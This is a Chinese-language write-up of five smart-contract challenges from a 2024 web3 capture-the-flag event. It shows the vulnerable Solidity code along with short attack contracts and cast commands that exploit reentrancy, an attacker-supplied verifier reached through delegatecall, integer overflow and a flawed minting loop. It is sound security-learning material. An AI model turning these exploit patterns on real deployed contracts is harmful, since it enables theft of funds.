2024 BMW web3 CTF部分writeups
Background
参加了下比赛做了一下,质量较好,比较适合我这种Web3新手,正好复习了很多以前忘的知识
easy-warmup
//SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0 < 0.9.0;
contract Warmup {
string public flag = "flag{FAKE_FLAG}";
function Callme() public view returns(string memory) {
return flag;
}
}
签到题很简单,要求你读取flag变量或者直接调用Callme()函数即可 没什么好说的,但是我推荐一款工具 cast
可以对账户执行相关的交易,在实际调试和web3相关CTF中很好用
cast call --rpc-url sepolia_rpc address "Callme()(string)"
最后flag flag{W31com3_T0_6lockcha1n_W0r1d}
easy-Over 16
又是一道基础题
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Over_16 {
mapping(address => uint16) public balances;
uint16 private originalBalance;
constructor() public {
originalBalance = 21436;
balances[msg.sender] = originalBalance;
}
function add_16(uint _value) public {
balances[msg.sender] += uint16(_value);
}
function get16_Flag() public returns (string memory) {
require(balances[msg.sender] == 16, "XXXXXXXXXXXXXXXX");
balances[msg.sender] = originalBalance;
return "flag{FAKE_FLAG}";
}
function getBalance() public view returns (uint16) {
return balances[msg.sender];
}
}
可以看到get16_F1ag()的要求是要求余额为16
cast send --rpc-url sepolia_rpc --private-key KEY 0xxxx "add_16(uint)" "16"
cast call --rpc-url sepolia_rpc --private-key KEY 0xxxx "get16_Flag()(string)"
给函数穿参数然后再调用即可
flag{0H_y0u_0v3r_F7F7L!L!0Oo0WzWz_m3!}
Meidum-Access Control
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract AccessControll{
address public owner;
CertificateAuthority CA;
mapping(address => bool) grantedUsers;
mapping(address => uint256) public securityLevel;
constructor ( address _owner) {
owner = _owner;
}
function accessRequest(address payable _CA)public {
CA = CertificateAuthority(_CA);
bool success = CA.verify(msg.sender);
if(success) grantedUsers[msg.sender] = true;
}
function setSecurityLevel( address user, uint256 level)public payable {
require(grantedUsers[user] == true, "You need Permission to raise the security level!!");
(bool success, bytes memory result) = address(CA).delegatecall(abi.encodeWithSignature("setLevel(address,address,uint256)",owner, user,level));
require(success, "Delegatecall failed");
uint256 levelToSet;
assembly {
levelToSet := mload(add(result, 0x20))
}
securityLevel[user] = levelToSet;
}
function flag()public view returns (string memory){
require(grantedUsers[msg.sender] == true, "You need Permission to get the flag!");
require(securityLevel[msg.sender] == 5, "Your level must be 5 to get the flag!");
return "flag{FAKE_FLAG}";
}
receive() external payable {
}
}
contract CertificateAuthority{
mapping(address => bool) grantedUsers;
constructor() { }
function verify(address user) public payable returns (bool){
if(msg.value > 1000000000000000000000 ){
grantedUsers[user] = true;
return true;
}
else if (grantedUsers[user] == true){
return true;
}
return false;
}
function setLevel(address owner, address toSet, uint256 level)public returns(uint256){
require(msg.sender == owner);
require(grantedUsers[toSet] == true);
level = level << 3;
level = level ^ 0xD9;
level = level & 0x03;
return level;
}
receive() external payable {
require(msg.value > 1000000000000000000000);
}
}
代码看着是比较长的,但我们直接回溯核心的拿到flag的条件
function flag()public view returns (string memory){
require(grantedUsers[msg.sender] == true, "You need Permission to get the flag!");
require(securityLevel[msg.sender] == 5, "Your level must be 5 to get the flag!");
return "flag{FAKE_FLAG}";
}
要求函数调用者必须授权,而且等级为5
我们先来看看鉴权的过程 accessRequest()中,使用接收到的地址来加载合约,verify()
调用该合约的函数,如果该函数的返回值为true,则设置权限
function accessRequest(address payable _CA)public {
CA = CertificateAuthority(_CA);
bool success = CA.verify(msg.sender);
if(success) grantedUsers[msg.sender] = true;
}
然后在securtityLevel这里设置安全级别,使用accessRequest的函数调用外部合约,最后级别是根据函数的返回值进行计算的
function setSecurityLevel( address user, uint256 level)public payable {
require(grantedUsers[user] == true, "You need Permission to raise the security level!!");
(bool success, bytes memory result) = address(CA).delegatecall(abi.encodeWithSignature("setLevel(address,address,uint256)",owner, user,level));
require(success, "Delegatecall failed");
uint256 levelToSet;
assembly {
levelToSet := mload(add(result, 0x20))
}
可以看到漏洞的核心点就在于我们接受的地址来加载合约,也就是可控 可以自己编写代码
编写一个自己的CA
contract CA {
constructor() {}
function verify(address user) public payable returns (bool) {
return true;
}
function setLevel(
address owner,
address toSet,
uint256 level
) public returns (uint256) {
return 5;
}
}
然后再编写一个自己的攻击合约来进行调用,调用链如下
attack.accessRequest(payable(address(ca)));
attack.setSecurityLevel(address(this), 0);
attack.flag();
我在做这道题的时候踩了个坑,我当时仔细阅读了代码
levelToSet := mload(add(result, 0x20))
我注意到使用了mload函数,进行相关搜索的介绍
mload() 函数在汇编代码中使用,从特定内存地址读取字(32 字节)数据并将其分配给变量或用于计算。
如果abi.encode(uint(5)); 这么来设置为5,打印结果的数据很奇怪,是以uint 形式返回 5
看起来delegatecall() 调用特定函数时,如果该函数返回字节类型,会包含用于附加信息的字节
Medium-Mamma Mia!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract MammaMia {
mapping(address => uint) public balances;
address public flagCapturer;
mapping(address => bool) public flagResetters;
function deposit() public payable {
require(msg.value > 0, "Deposit must be greater than zero");
balances[msg.sender] += msg.value;
}
function withdraw() public {
require(!flagResetters[msg.sender], "The flag resetter is not allowed to withdraw");
uint bal = balances[msg.sender];
require(bal > 0, "No balance to withdraw");
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function captureFlag() public {
require(address(this).balance == 0, "Contract balance is not zero");
require(flagCapturer == address(0), "Flag has already been captured");
flagCapturer = msg.sender;
}
function resetFlag() public payable {
require(flagCapturer == msg.sender, "You are not the flag capturer");
require(msg.value >= 0.001 ether, "Please add balance to the contract for someone else");
flagResetters[msg.sender] = true;
flagCapturer = address(0);
}
function getFlag() public view returns (string memory) {
require(flagResetters[msg.sender], "You are not the flag resetter");
return "flag{FAKE_FLAG}";
}
}
可以看到要求flagResetters必须为true ,而这个值是在resetFlag函数进行设置
function resetFlag() public payable {
require(flagCapturer == msg.sender, "You are not the flag capturer");
require(msg.value >= 0.001 ether, "Please add balance to the contract for someone else");
flagResetters[msg.sender] = true;
flagCapturer = address(0);
}
可以看到这个函数的要求
1.flagCapturer为当前用户
2.msg.value>=0.01 ether
flagCapture可以在captureFlag()函数
function captureFlag() public {
require(address(this).balance == 0, "Contract balance is not zero");
require(flagCapturer == address(0), "Flag has already been captured");
flagCapturer = msg.sender;
}
但是注意要使用函数必须要没钱,这里可以看到,当withdraw()查看函数的时候 msg.sender.call会出现重入漏洞
向该函数汇款后余额被设置为0
利用Poc如下
function attack1() public payable {
m.deposit{value: 0.001 ether}();
}
function attack2() public {
m.withdraw();
}
function attack3() public {
m.captureFlag();
}
function attack4() public payable {
m.resetFlag{value: 0.001 ether}();
}
function attack5() public {
flag = m.getFlag();
}
function getFlag() public view returns (string memory) {
return flag;
}
receive() external payable {
if (m.getBalance() != 0) {
m.withdraw();
}
}
Hard-Safe Deposit Box
一道非常顶的题目
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
contract SafeDepositBox {
address owner;
constructor () {
owner = msg.sender;
balances[owner] = 2147483647;
}
struct Transaction {
address to;
address from;
uint amount;
}
uint private state_num = 0;
mapping(uint => Transaction[]) public userTransactions;
mapping(address => uint) public balances;
string private secret_password = unicode"REDACTED";
modifier fill_money() {
if (balances[owner] < 10000) {
balances[owner] = 2147483647;
}
_;
}
function make_account() public returns (address){
balances[msg.sender] = 1000;
return msg.sender;
}
function introduction_safe_deposit_box() public pure returns (string memory) {
return "This is a safe asset management service. We haven't been hacked in the last 10 years.";
}
function safe_remittance_function(string memory password, address _to,uint _amount) external returns (uint){
require(keccak256(abi.encodePacked(password)) == keccak256(abi.encodePacked(secret_password)), "Incorrect password");
require(balances[msg.sender] >= _amount);
address _from = msg.sender;
balances[_from] -= _amount;
balances[_to] += _amount;
Transaction memory newTransaction = Transaction({
to: _to,
from: _from,
amount: _amount
});
uint hash = uint(keccak256(abi.encodePacked(block.timestamp)));
userTransactions[hash].push(newTransaction);
return hash;
}
function cancel_transaction(uint _hash) public fill_money{
require(userTransactions[_hash].length > 0, "No transaction with this hash");
Transaction storage transactionToCancel = userTransactions[_hash][0];
require(transactionToCancel.from == msg.sender, "You are not the sender of this transaction");
balances[transactionToCancel.from] += transactionToCancel.amount;
balances[transactionToCancel.to] -= transactionToCancel.amount;
}
function buy_flag() public returns (string memory) {
require (balances[msg.sender] > 100000, "Not Enough money.");
require (msg.sender != owner,"No Hack.");
balances[msg.sender] = 0;
string memory flag = return_flag();
return flag;
}
function return_flag() internal returns (string memory) {
return unicode"flag{REDACTED}";
}
}
获取flag要求balances[msg.sender] > 100000,而在makecount里,余额会初始化1000
function make_account() public returns (address){
balances[msg.sender] = 1000;
return msg.sender;
}
safe_remittance_function()函数会随机发给随机用户,所以随机用户的钱就是1000,我们就没钱了 思路就比较清晰
1.因为make_account()没有限制,就可以一直调用
2.等攒够钱了 使用cancel_transaction()取消交易,就可以拿到flag了
function safe_remittance_function(string memory password, address _to,uint _amount) external returns (uint){
require(keccak256(abi.encodePacked(password)) == keccak256(abi.encodePacked(secret_password)), "Incorrect password");
require(balances[msg.sender] >= _amount);
address _from = msg.sender;
balances[_from] -= _amount;
balances[_to] += _amount;
Transaction memory newTransaction = Transaction({
to: _to,
from: _from,
amount: _amount
});
uint hash = uint(keccak256(abi.encodePacked(block.timestamp)));
userTransactions[hash].push(newTransaction);
return hash;
}
但是调用safe_remittance_function这个函数需要密码,可以直接在https://etherscan.io/找
Hard-BMW Bugbounty
是我觉得最好玩的一道题
提供了两个文件 一个是
NFT.sol
//SPDX-License-Identifier : MIT
pragma solidity ^0.8.0;
import "./process.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BMW {
address private owner;
BMW_process private processContract;
constructor () {
processContract = new BMW_process(address(this));
owner = msg.sender;
}
modifier OnlyOwner {
require(msg.sender == owner, "Your not owner");
_;
}
function change_owner(address _owner) external OnlyOwner{
owner = _owner;
}
function search_address() external view returns(address) {
return address(processContract);
}
function flag() external returns(string memory){
require(processContract.check_my_nft(msg.sender) > 10000, "Enough BMW NFT");
processContract.reset_account();
return "Exploit-Success!!";
}
}
但这里使用了ERC20 看到获得flag的条件 NFT > 10000
另一个文件如下
/SPDX-License-Identifier : MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract BMW_process is ERC20{
address private guardian;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => uint256) private balance;
constructor (address _guardian) ERC20("BMW_NFT", "BMW") {
_mint(msg.sender, 1000);
guardian = _guardian;
}
modifier OnlyGuardian {
require(msg.sender == guardian, "Your not guardian");
_;
}
function change_guardian(address _guardian) public OnlyGuardian {
guardian = _guardian;
}
function mint() public {
_mint(msg.sender, 10);
balance[msg.sender] = balanceOf(msg.sender);
}
function Buy_nft(uint256 _count) external payable returns(uint256) {
for(uint256 i; i < _count; i++) {
require(msg.value >= 1 ether, "Not enough Ether");
balance[msg.sender] = balanceOf(msg.sender);
_mint(msg.sender, balance[msg.sender] + 1);
if (balance[msg.sender] > 10000) {
return balance[msg.sender];
}
}
return balance[msg.sender];
}
function nfttransfer(address _receipt, uint256 _amount) external returns(bool) {
require(balance[msg.sender] > _amount, "Not enough BMW NFT");
require(_allowance[msg.sender][_receipt] > _amount, "Not enough allowance");
require(balance[msg.sender] > balance[msg.sender] - _amount, "Detected integer underflow");
require(_allowance[msg.sender][_receipt] < _allowance[msg.sender][_receipt] + _amount, "Detected integer overflow");
super._transfer(msg.sender, _receipt, _amount);
return true;
}
function get_allowance(address _from, address _to, uint256 _amount) external OnlyGuardian returns(bool) {
require(_allowance[_from][_to] < _allowance[_from][_to] + _amount, "detected integer overflow");
_allowance[_from][_to] += _amount;
}
function check_my_nft(address _target) public view returns(uint256) {
return balance[_target];
}
function check_allowance(address _from, address _to) public view returns(uint256) {
return _allowance[_from][_to];
}
function reset_account() external OnlyGuardian {
_mint(msg.sender, 0);
}
}
通读代码的时候,我就觉得这个购买函数比较奇怪,因为他好像并没有扣我的钱去买NFT
function Buy_nft(uint256 _count) external payable returns(uint256) {
for(uint256 i; i < _count; i++) {
require(msg.value >= 1 ether, "Not enough Ether");
balance[msg.sender] = balanceOf(msg.sender);
_mint(msg.sender, balance[msg.sender] + 1);
if (balance[msg.sender] > 10000) {
return balance[msg.sender];
}
}
return balance[msg.sender];
}
msg.value 大于1的时候 这个NFT就会无限增加,但是如果 for 循环代币,当余额大于 10000他会终止
所以我们的思路是传一个大整数作为 _count 获取10000的代币
攻击合约代码大概如下
function attack1() public payable {
b.Buy_nft{value: 1 ether}(10001);
flag = bmw.flag();
}
function attack2() public view returns(string memory) {
return flag;
}